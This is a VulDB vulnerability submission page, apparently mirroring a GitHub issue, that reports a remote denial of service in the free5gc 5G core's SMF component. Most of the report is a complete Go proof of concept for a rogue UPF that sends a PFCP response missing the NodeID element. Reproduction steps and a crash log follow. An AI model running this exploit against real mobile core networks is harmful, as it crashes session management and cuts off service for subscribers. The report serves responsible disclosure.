Submeter #743237: free5gc SMF v4.1.0 Denial of Serviceinformação

Títulofree5gc SMF v4.1.0 Denial of Service
Descrição## Bug Decription When the SMF sends a PFCP Session Establishment Request, a malicious/rogue UPF can reply with a PFCP SessionEstablishmentResponse that omits the mandatory NodeID IE. While processing the response, SMF calls (*pfcpType.NodeID).ResolveNodeIdToIp() on a nil NodeID pointer, leading to a runtime panic and process termination. This results in a remote Denial of Service against the SMF. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ## To Reproduce Steps to reproduce the behavior: 1) Start fake UPF mode: code ``` // Vuln-PB2-09 PoC: SessionEstablishmentResponse with UPFSEID but without NodeID - DoS // Target: free5gc SMF v4.10 // Vulnerability: NodeID not checked for nil when UPFSEID is present (datapath.go:145) // // This PoC implements a rogue UPF server that sends SessionEstablishmentResponse // with UPFSEID but without NodeID, causing SMF to crash. package main import ( "encoding/binary" "flag" "fmt" "log" "net" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) const ( PFCPPort = 8805 ) var ( listenAddr string verbose bool ) func init() { flag.StringVar(&listenAddr, "listen", "x.x.x.x", "Address to listen on") flag.BoolVar(&verbose, "verbose", true, "Verbose output") } // buildMalformedSessionEstablishmentResponse creates a response with UPFSEID but without NodeID // This triggers nil pointer dereference at datapath.go:145 func buildMalformedSessionEstablishmentResponse(reqSEID uint64, seqNum uint32, localIP net.IP) []byte { // Build Cause IE (RequestAccepted) - needed to enter the success path causeIE := make([]byte, 5) binary.BigEndian.PutUint16(causeIE[0:2], 19) // Type: Cause binary.BigEndian.PutUint16(causeIE[2:4], 1) // Length: 1 causeIE[4] = 1 // CauseValue: RequestAccepted // Build UPFSEID IE - this triggers the vulnerable code path at line 144 upfSEID := make([]byte, 4+13) // Type(2) + Length(2) + Flags(1) + SEID(8) + IPv4(4) binary.BigEndian.PutUint16(upfSEID[0:2], 57) // Type: UPFSEID binary.BigEndian.PutUint16(upfSEID[2:4], 13) // Length: 13 upfSEID[4] = 0x02 // Flags: V4=1 binary.BigEndian.PutUint64(upfSEID[5:13], 1) // SEID value copy(upfSEID[13:17], localIP.To4()) // NOTE: We intentionally DO NOT include NodeID IE // At line 144: if rsp.UPFSEID != nil { NodeIDtoIP := rsp.NodeID.ResolveNodeIdToIp() // When UPFSEID is present but NodeID is nil, the call to ResolveNodeIdToIp() crashes // Calculate total payload payload := append(causeIE, upfSEID...) payloadLen := 8 + 3 + 1 + len(payload) // SEID(8) + SeqNum(3) + MP(1) + IEs // Build PFCP message header msgBuf := make([]byte, 4+payloadLen) msgBuf[0] = 0x21 // Version 1, S=1 (SEID present) msgBuf[1] = message.MsgTypeSessionEstablishmentResponse // Message Type: 51 binary.BigEndian.PutUint16(msgBuf[2:4], uint16(payloadLen)) // Message Length binary.BigEndian.PutUint64(msgBuf[4:12], reqSEID) // SEID msgBuf[12] = byte(seqNum >> 16) // Sequence Number msgBuf[13] = byte(seqNum >> 8) msgBuf[14] = byte(seqNum) msgBuf[15] = 0 // Message Priority + Spare // Append IEs copy(msgBuf[16:], payload) return msgBuf } func handlePFCPMessage(conn *net.UDPConn, buf []byte, n int, remoteAddr *net.UDPAddr, localIP net.IP) { if n < 4 { log.Printf("[-] Message too short: %d bytes", n) return } msgType := buf[1] log.Printf("[*] Received PFCP message type: %d from %s", msgType, remoteAddr.String()) switch msgType { case message.MsgTypeAssociationSetupRequest: log.Printf("[+] Received Association Setup Request") assocResp := message.NewAssociationSetupResponse( getSeqNum(buf), ie.NewCause(ie.CauseRequestAccepted), ie.NewNodeIDHeuristic(localIP.String()), ie.NewRecoveryTimeStamp(time.Now()), ) respBytes, _ := assocResp.Marshal() conn.WriteToUDP(respBytes, remoteAddr) log.Printf("[+] Sent Association Setup Response (association established)") case message.MsgTypeSessionEstablishmentRequest: log.Printf("[+] Received Session Establishment Request") var cpSeid uint64 var seqNum uint32 if msg, err := message.Parse(buf[:n]); err == nil { if req, ok := msg.(*message.SessionEstablishmentRequest); ok { seqNum = req.Sequence() if req.CPFSEID != nil { if fseid, err := req.CPFSEID.FSEID(); err == nil { cpSeid = fseid.SEID } } } } if cpSeid == 0 && buf[0]&0x01 != 0 { cpSeid = binary.BigEndian.Uint64(buf[4:12]) seqNum = uint32(buf[12])<<16 | uint32(buf[13])<<8 | uint32(buf[14]) } log.Printf("[*] CP SEID: %d, SeqNum: %d", cpSeid, seqNum) // Send malformed response (UPFSEID present but NodeID missing) log.Printf("[!] Sending MALFORMED SessionEstablishmentResponse") log.Printf("[!] - UPFSEID IE: PRESENT (triggers code path at line 144)") log.Printf("[!] - NodeID IE: MISSING (causes nil dereference at line 145)") malformedResp := buildMalformedSessionEstablishmentResponse(cpSeid, seqNum, localIP) conn.WriteToUDP(malformedResp, remoteAddr) log.Printf("[+] Sent malformed response (%d bytes) - SMF should crash now", len(malformedResp)) case message.MsgTypeHeartbeatRequest: log.Printf("[*] Received Heartbeat Request") hbResp := message.NewHeartbeatResponse( getSeqNum(buf), ie.NewRecoveryTimeStamp(time.Now()), ) respBytes, _ := hbResp.Marshal() conn.WriteToUDP(respBytes, remoteAddr) default: log.Printf("[*] Ignoring message type: %d", msgType) } } func getSeqNum(buf []byte) uint32 { if buf[0]&0x01 != 0 { // S flag set return uint32(buf[12])<<16 | uint32(buf[13])<<8 | uint32(buf[14]) } return uint32(buf[4])<<16 | uint32(buf[5])<<8 | uint32(buf[6]) } func getLocalIP(conn *net.UDPConn) net.IP { localAddr := conn.LocalAddr().(*net.UDPAddr) if localAddr.IP.IsUnspecified() { return net.ParseIP("127.0.0.1") } return localAddr.IP } func main() { flag.Parse() log.Printf("[*] Vuln-PB2-09 PoC: SessionEstablishmentResponse with UPFSEID but without NodeID") log.Printf("[*] Target: free5gc SMF v4.10") log.Printf("[*] Vulnerability: datapath.go:145 - rsp.NodeID.ResolveNodeIdToIp() nil dereference") log.Printf("[*] ") log.Printf("[*] Attack flow:") log.Printf("[*] 1. SMF connects and establishes PFCP association") log.Printf("[*] 2. SMF sends SessionEstablishmentRequest") log.Printf("[*] 3. Rogue UPF responds with UPFSEID but WITHOUT NodeID") log.Printf("[*] 4. SMF crashes at datapath.go:145 calling NodeID.ResolveNodeIdToIp()") addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", listenAddr, PFCPPort)) if err != nil { log.Fatalf("[-] Failed to resolve address: %v", err) } conn, err := net.ListenUDP("udp", addr) if err != nil { log.Fatalf("[-] Failed to listen: %v", err) } defer conn.Close() localIP := getLocalIP(conn) log.Printf("[+] Rogue UPF listening on %s:%d", listenAddr, PFCPPort) log.Printf("[*] Waiting for SMF connection...") buf := make([]byte, 4096) for { n, remoteAddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("[-] Read error: %v", err) continue } handlePFCPMessage(conn, buf[:n], n, remoteAddr, localIP) } } ``` run `go run ./main.go -listen 10.100.200.2` 2) Attach UE and establish a PDU session using UERANSIM. ``` sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-gnb -c /home/ubuntu/UERANSIM/config/gnbcfg-free5gc.yaml sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-ue -c /home/ubuntu/free5gc-compose/config/uecfg.yaml ``` 3) The rogue UPF waits for the SMF to send a PFCP SessionEstablishmentRequest; once received, it replies with a malformed PFCP SessionEstablishmentResponse that omits the mandatory NodeID IE, which triggers a nil pointer dereference in the SMF during response processing. ## Expected Behavior SMF should validate mandatory IEs in SessionEstablishmentResponse (including NodeID) and, if missing, reject the response gracefully (e.g., log an error, abort the PFCP session setup, and keep the SMF process running). ## Screenshots <img width="874" height="156" alt="Image" src="https://github.com/user-attachments/assets/862ba810-ecec-4348-a83d-f9e9985ded94" /> ## Environment - free5GC Version: v4.1.0 - OS: Ubuntu 22.04 Server - Kernel version: [e.g. 5.15.0-0-generic] - go version: go version go1.24.9 linux/amd64 ## Trace Files ### Configuration Files Provide the configuration files. If you are unsure of what to do, please zip free5gc's `config` folder and upload it here. ### PCAP File Dump the relevant packets and provide the PCAP file. If you are unsure of what to do, use the following command before reproducing the bug: `sudo tcpdump -i any -w free5gc.pcap`. Then, please upload the `free5gc.pcap` file here. ### Log File ``` 2026-01-20T04:52:10.646569237Z [INFO][SMF][PduSess] Sending PFCP Session Establishment Request panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0xb079f2] goroutine 128 [running]: github.com/free5gc/pfcp/pfcpType.(*NodeID).ResolveNodeIdToIp(0x0?) /go/pkg/mod/github.com/free5gc/[email protected]/pfcpType/NodeID.go:108 +0x12 github.com/free5gc/smf/internal/sbi/processor.establishPfcpSession(0xc0005f6008, 0xc000128e80, 0xc000215340) /go/src/free5gc/NFs/smf/internal/sbi/processor/datapath.go:145 +0x2cb created by github.com/free5gc/smf/internal/sbi/processor.ActivateUPFSession in goroutine 137 /go/src/free5gc/NFs/smf/internal/sbi/processor/datapath.go:94 +0x305 ```
Fonte⚠️ https://github.com/free5gc/free5gc/issues/816
Utilizador
 ZiyuLin (UID 93568)
Submissão21/01/2026 02h00 (há 5 meses)
Moderação05/02/2026 14h34 (16 days later)
EstadoAceite
Entrada VulDB344496 [Free5GC até 4.1.0 SMF datapath.go ResolveNodeIdToIp Negação de Serviço]
Pontos20

Do you want to use VulDB in your project?

Use the official API to access entries easily!